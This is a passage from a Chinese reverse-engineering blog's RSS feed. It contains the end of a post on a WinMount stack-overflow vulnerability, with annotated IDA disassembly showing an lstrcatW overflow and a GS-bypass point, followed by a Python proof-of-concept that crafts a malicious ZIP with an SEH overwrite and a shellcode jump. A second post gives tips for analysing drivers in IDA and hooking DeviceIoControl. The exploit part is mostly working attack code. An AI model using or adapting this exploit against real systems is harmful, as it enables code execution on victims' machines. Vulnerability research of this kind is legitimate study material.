.text:100B54A0                 lea     ecx, [ebp+58h]<br />
.text:100B54A3                 mov     [esp+228h+var_210], eax<br />
.text:100B54A7                 call    sub_100B5260<br />
.text:100B54AC                 mov     edi, [eax]<br />
.text:100B54AE                 mov     byte ptr [esi+6Ch], 1<br />
.text:100B54B2                 mov     eax, [edi+26h]<br />
.text:100B54B5                 mov     [esi+20h], eax<br />
.text:100B54B8                 mov     eax, [edi+2Ah]<br />
.text:100B54BB                 xor     ebx, ebx<br />
.text:100B54BD                 cmp     eax, ebx<br />
.text:100B54BF                 jz      short loc_100B54D0<br />
.text:100B54C1                 cmp     eax, 0FFFFFFFFh<br />
.text:100B54C4                 jz      short loc_100B54D0<br />
.text:100B54C6                 mov     byte ptr [esi+6Bh], 1<br />
.text:100B54CA                 mov     ecx, [edi+2Ah]<br />
.text:100B54CD                 mov     [esi+24h], ecx<br />
.text:100B54D0<br />
.text:100B54D0 loc_100B54D0:                           ; CODE XREF: vul_vul+5Fj<br />
.text:100B54D0                                         ; vul_vul+64j<br />
.text:100B54D0                 cmp     [edi+0Eh], ebx<br />
.text:100B54D3                 ja      short loc_100B54DA<br />
.text:100B54D5                 cmp     [edi+0Ah], ebx<br />
.text:100B54D8                 jbe     short loc_100B54DE<br />
.text:100B54DA<br />
.text:100B54DA loc_100B54DA:                           ; CODE XREF: vul_vul+73j<br />
.text:100B54DA                 mov     al, 1<br />
.text:100B54DC                 jmp     short loc_100B54E0<br />
.text:100B54DE ; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
.text:100B54DE<br />
.text:100B54DE loc_100B54DE:                           ; CODE XREF: vul_vul+78j<br />
.text:100B54DE                 xor     al, al<br />
.text:100B54E0<br />
.text:100B54E0 loc_100B54E0:                           ; CODE XREF: vul_vul+7Cj<br />
.text:100B54E0                 test    byte ptr [esi+20h], 10h<br />
.text:100B54E4                 mov     [esi+68h], al<br />
.text:100B54E7                 setnbe  dl<br />
.text:100B54EA                 mov     [esi+69h], dl<br />
.text:100B54ED                 mov     [esi+6Ah], bl<br />
.text:100B54F0                 mov     eax, [edi+1Ah]<br />
.text:100B54F3                 mov     ecx, [edi+1Eh]<br />
.text:100B54F6                 mov     edx, eax<br />
.text:100B54F8                 or      edx, ecx<br />
.text:100B54FA                 jz      short loc_100B5512<br />
.text:100B54FC                 add     eax, [esp+224h+arg_10]<br />
.text:100B5503                 adc     ecx, [esp+224h+arg_14]<br />
.text:100B550A                 mov     [esi+60h], eax<br />
.text:100B550D                 mov     [esi+64h], ecx<br />
.text:100B5510                 jmp     short loc_100B5518<br />
.text:100B5512 ; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
.text:100B5512<br />
.text:100B5512 loc_100B5512:                           ; CODE XREF: vul_vul+9Aj<br />
.text:100B5512                 mov     [esi+60h], ebx<br />
.text:100B5515                 mov     [esi+64h], ebx<br />
.text:100B5518<br />
.text:100B5518 loc_100B5518:                           ; CODE XREF: vul_vul+B0j<br />
.text:100B5518                 push    206h            ; size_t<br />
.text:100B551D                 lea     ecx, [esp+228h+buf_20c+2]<br />
.text:100B5521                 xor     eax, eax<br />
.text:100B5523                 push    ebx             ; int<br />
.text:100B5524                 push    ecx             ; void *<br />
.text:100B5525                 mov     word ptr [esp+230h+buf_20c], ax<br />
.text:100B552A                 call    _memset<br />
.text:100B552F                 add     esp, 0Ch<br />
.text:100B5532                 push    edi             ; int<br />
.text:100B5533                 lea     edx, [esp+228h+buf_20c]<br />
.text:100B5537                 push    edx             ; dst_string<br />
.text:100B5538                 push    ebp             ; int<br />
.text:100B5539                 call    sub_100B3F90    ;</p>
<p>跟进去</p>
<p>.text:100B3F90 ; int __stdcall sub_100B3F90(int, LPWSTR dst_string, int)<br />
.text:100B3F90 sub_100B3F90    proc near               ; CODE XREF: sub_100B3F90+25p<br />
.text:100B3F90                                         ; vul_vul+D9p<br />
.text:100B3F90<br />
.text:100B3F90 arg_0           = dword ptr  4<br />
.text:100B3F90 dst_string      = dword ptr  8<br />
.text:100B3F90 arg_8           = dword ptr  0Ch<br />
.text:100B3F90<br />
.text:100B3F90                 push    ebx<br />
.text:100B3F91                 mov     ebx, [esp+4+arg_8]<br />
.text:100B3F95                 mov     eax, [ebx+5Ch]<br />
.text:100B3F98                 push    esi<br />
.text:100B3F99                 mov     esi, [esp+8+dst_string]<br />
.text:100B3F9D                 push    edi<br />
.text:100B3F9E                 mov     edi, ds:lstrcatW<br />
.text:100B3FA4                 test    eax, eax<br />
.text:100B3FA6                 jz      short loc_100B3FC2<br />
.text:100B3FA8                 cmp     dword ptr [eax+56h], 0FFFFFFFFh<br />
.text:100B3FAC                 jz      short loc_100B3FC2<br />
.text:100B3FAE                 push    eax             ; int<br />
.text:100B3FAF                 mov     eax, [esp+10h+arg_0]<br />
.text:100B3FB3                 push    esi             ; dst_string<br />
.text:100B3FB4                 push    eax             ; int<br />
.text:100B3FB5                 call    sub_100B3F90<br />
.text:100B3FBA                 push    offset String2  ; “\\”<br />
.text:100B3FBF                 push    esi             ; lpString1<br />
.text:100B3FC0                 call    edi ; lstrcatW<br />
.text:100B3FC2<br />
.text:100B3FC2 loc_100B3FC2:                           ; CODE XREF: sub_100B3F90+16j<br />
.text:100B3FC2                                         ; sub_100B3F90+1Cj<br />
.text:100B3FC2                 mov     ecx, [ebx+52h]<br />
.text:100B3FC5                 push    ecx             ; lpString2<br />
.text:100B3FC6                 push    esi             ; lpString1<br />
.text:100B3FC7                 call    edi ; lstrcatW  ; 溢出<br />
.text:100B3FC9                 pop     edi<br />
.text:100B3FCA                 pop     esi<br />
.text:100B3FCB                 pop     ebx<br />
.text:100B3FCC                 retn    0Ch<br />
.text:100B3FCC sub_100B3F90    endp</p>
<p>接下来会继续调用下边这个函数</p>
<p>.text:100209C0 access_         proc near               ; CODE XREF: sub_10020AE0+6Cp<br />
.text:100209C0                                         ; sub_10021060+105p &#8230;<br />
.text:100209C0<br />
.text:100209C0 p_string        = dword ptr  4<br />
.text:100209C0<br />
.text:100209C0                 push    ebx<br />
.text:100209C1                 mov     ebx, ecx<br />
.text:100209C3                 mov     eax, [ebx]<br />
.text:100209C5                 push    esi<br />
.text:100209C6                 xor     ecx, ecx<br />
.text:100209C8                 push    edi<br />
.text:100209C9                 mov     edi, [esp+0Ch+p_string]<br />
.text:100209CD                 mov     dword ptr [ebx+4], 0<br />
.text:100209D4                 mov     [eax], cx<br />
.text:100209D7                 xor     esi, esi<br />
.text:100209D9                 cmp     [edi], cx<br />
.text:100209DC                 jz      short loc_100209E7<br />
.text:100209DE                 mov     edi, edi<br />
.text:100209E0<br />
.text:100209E0 loc_100209E0:                           ; CODE XREF: access_+25j<br />
.text:100209E0                 inc     esi<br />
.text:100209E1                 cmp     [edi+esi*2], cx ; 可以制造出内存读异常&#8212;&gt;绕过GS<br />
.text:100209E5                 jnz     short loc_100209E0<br />
.text:100209E7<br />
.text:100209E7 loc_100209E7:                           ; CODE XREF: access_+1Cj<br />
.text:100209E7                 push    esi<br />
.text:100209E8                 mov     ecx, ebx<br />
.text:100209EA                 call    sub_10002F90<br />
.text:100209EF                 mov     ecx, [ebx]<br />
.text:100209F1                 mov     edx, edi<br />
.text:100209F3<br />
.text:100209F3 loc_100209F3:                           ; CODE XREF: access_+42j<br />
.text:100209F3                 movzx   eax, word ptr [edx]<br />
.text:100209F6                 mov     [ecx], ax<br />
.text:100209F9                 add     ecx, 2<br />
.text:100209FC                 add     edx, 2<br />
.text:100209FF                 test    ax, ax<br />
.text:10020A02                 jnz     short loc_100209F3<br />
.text:10020A04                 pop     edi<br />
.text:10020A05                 mov     [ebx+4], esi<br />
.text:10020A08                 pop     esi<br />
.text:10020A09                 mov     eax, ebx<br />
.text:10020A0B                 pop     ebx<br />
.text:10020A0C                 retn    4<br />
.text:10020A0C access_         endp</p>
<p>POC:</p>
<p>用这个脚本产生test.zip，再借助WinMount生成test.mou文件。</p>
<p>import os</p>
<p>sploitfile=”test.zip”<br />
ldf_header =(&#8216;\x50\x4B\x03\x04\x14\x00\x00&#8242;<br />
&#8216;\x00\x08\x00\xB7\xAC\xCE\x34\x00\x00\x00&#8242;<br />
&#8216;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#8242;<br />
&#8216;\xd0\xff&#8217;<br />
&#8216;\x00\x00\x00&#8242;)<br />
cdf_header = (“\x50\x4B\x01\x02\x14\x00\x14&#8243;<br />
“\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00&#8243;<br />
“\x00\x00\x00\x00\x00\x00\x00\x00\x00&#8243;<br />
“\xd0\xff”<br />
“\x00\x00\x00\x00\x00\x00\x01\x00&#8243;<br />
“\x24\x00\x00\x00\x00\x00\x00\x00&#8243;)<br />
eofcdf_header = (“\x50\x4B\x05\x06\x00\x00\x00&#8243;<br />
“\x00\x01\x00\x01\x00&#8243;<br />
“\xfe\xff\x00\x00&#8243;<br />
“\xee\xff\x00\x00&#8243;<br />
“\x00\x00&#8243;)<br />
print ”[+] Preparing payload\n”<br />
size=65484<br />
junk=&#8217;A'*420<br />
nseh=&#8217;\x89\x8a\x8b\x8c&#8217;<br />
seh=&#8217;\x84\x5b\xac\x8d&#8217;<br />
junk_=&#8217;A'*33<br />
jumpto=&#8217;\x05\x12\x11\x46\x2d\x11\x11\x46\x50\x46\xac\xe4&#8242;#make eax point to shellcode and jump to shellcode<br />
shellcode=(“the shellcode here will be changed into unicode”)#encode by alpha2<br />
junk__=&#8217;B'*80<br />
last=&#8217;C'*(size-420-len(nseh+seh+junk_+jumpto+junk__+shellcode))<br />
payload=junk+nseh+seh+junk_+jumpto+junk__+shellcode+last+”.wav”<br />
evilzip = ldf_header+payload+cdf_header+payload+eofcdf_header<br />
print ”[+] Removing old zip file\n”<br />
os.system(“del ”+sploitfile)<br />
print ”[+] Writing payload to file\n”<br />
fobj=open(sploitfile,”w”,0)<br />
fobj.write(evilzip)<br />
print ”generate zip file ”+(sploitfile)<br />
fobj.close()<br />
print &#8217;[+] Wrote %d bytes to file sploitfile\n&#8217;%(len(evilzip))<br />
print ”[+] Payload length :%d \n”%(len(payload))</p>
<p>EOF</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/302">2010年05月1日</a>, Cyg07 writes: nx~顶了</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small>  
<div class="wp_license">
<p><a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/3.0/"><img src="http://i.creativecommons.org/l/by-nc-nd/3.0/88x31.png" alt="Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported" class="alignleft" style="margin-top:4px;" />
</a>This work  is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/3.0/">Creative Commons Attribution-NonCommercial-NoDerivs 3.0 Unported</a>.</p>
</div><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/100" title="暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞">暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/96" title="暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/302/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>静态分析驱动的一点技巧</title>
		<link>http://www.softrce.net/archives/140</link>
		<comments>http://www.softrce.net/archives/140#comments</comments>
		<pubDate>Sat, 16 May 2009 09:12:36 +0000</pubDate>
		<dc:creator>dge</dc:creator>
				<category><![CDATA[乾坤挪移（RCE）]]></category>
		<category><![CDATA[逆向技巧]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=140</guid>
		<description><![CDATA[习惯了OD和IDA的组合，也懒的装内核调试器了，好在需要分析驱动的时候特别少，而且只用IDA就可以玩的转。
最近在整驱动的过程中积累了点技巧，把他们记录下来，以慰同菜。]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">author:dge</p>
<p style="text-align: left;">习惯了OD和IDA的组合，也懒的装内核调试器了，好在需要分析驱动的时候特别少，而且只用IDA就可以玩的转。</p>
<p style="text-align: left;">最近在整驱动的过程中积累了点技巧，把他们记录下来，以慰同菜。</p>
<p><span id="more-140"></span></p>
<p style="text-align: left;">Q:许多软件隐藏了驱动,如何找到它们?<br />
A:其实很简单，隐藏文件肯定是驱动干的，不让驱动的加载，再牛B的隐藏也废了，用SSM拦截驱动的加载是个不错的选择。</p>
<p style="text-align: left;">Q:如何提高驱动代码可读性?<br />
A:驱动中对IRP，DEVICE_OBJECT，DRIVER_OBJECT和IO_STACK_LOCATION的操作很多，所以把这些结构添加进来，然后把对这些结构的操作进行标识。</p>
<p style="text-align: left;">Q:如何完成驱动代码的准确定位?<br />
A:一般的驱动都是用DeviceIoControl给驱动发送IRP_MJ_DEVICE_CONTROL类型的IRP来调用驱动中的代码，在驱动中一般先对<br />
IRP_MJ_DEVICE_CONTROL进行处理，然后再细化到处理相应IOCTL的代码，这个IOCTL又是DeviceIoControl的一个参数，所以通过监视DeviceIoControl就可以完成代码的精确定位。</p>
<p style="text-align: left;">Q:如何来获取这个IOCTL?<br />
A:(1):可以通过调试器对DeviceIoControl下断，不过一般得应付很多反调试，感觉很笨拙。<br />
(2):可以写个监视DeviceIoControl的程序，然后把IOCTL作为日志实时的输出。如果我们想分析软件的某个功能，只要运行软件的某个功能,然后
</p>
<p style="text-align: left;">在日志中找到IOCTL，再在驱动代码中搜索它，就可以完成准确定位了，这个方式感觉比较好，它饶过了反调试。</p>
<p style="text-align: left;">Q:如何实现监视?<br />
A:其实就是改变DeviceIoControl的流程，inline hook就可以。</p>
<p style="text-align: left;">Q:还需要什么?<br />
A:一点兴趣，一些体力。</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/140">2009年05月26日</a>, mj0011 writes: 真技巧啊真技巧</li><li><a href="http://www.softrce.net/archives/140">2009年06月1日</a>, lammer writes: Q:还需要什么?
A:一点兴趣，一些体力。

这个是最重要的·！赞</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2010年02月21日 -- <a href="http://www.softrce.net/archives/256" title="Step deeply into NDIS6 LightWeight Filter, part 1">Step deeply into NDIS6 LightWeight Filter, part 1</a></li><li>2009年02月1日 -- <a href="http://www.softrce.net/archives/23" title="SoftRCE的Mail Server开通了！">SoftRCE的Mail Server开通了！</a></li><li>2009年05月5日 -- <a href="http://www.softrce.net/archives/126" title="[玩笑]某人不是会坐在被告席上吧？">[玩笑]某人不是会坐在被告席上吧？</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/114" title="Symbian S60 3rd Reverse CrAcKiNg Tutorial">Symbian S60 3rd Reverse CrAcKiNg Tutorial</a></li><li>2009年12月27日 -- <a href="http://www.softrce.net/archives/210" title="Symbian_S60_3rd_Application_Cracking_With_IDA_Remote_Debugger_Tutorial">Symbian_S60_3rd_Application_Cracking_With_IDA_Remote_Debugger_Tutorial</a></li><li>2010年01月12日 -- <a href="http://www.softrce.net/archives/213" title="MS07-014调试手记">MS07-014调试手记</a></li><li>2010年02月10日 -- <a href="http://www.softrce.net/archives/217" title="How to adjust the Ace of device object">How to adjust the Ace of device object</a></li><li>2010年03月1日 -- <a href="http://www.softrce.net/archives/288" title="Steve Jobs在斯坦福大学毕业典礼上的演讲">Steve Jobs在斯坦福大学毕业典礼上的演讲</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li><li>2011年03月21日 -- <a href="http://www.softrce.net/archives/369" title="QQplayer Memory Corruption Vulnerability">QQplayer Memory Corruption Vulnerability</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/140/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

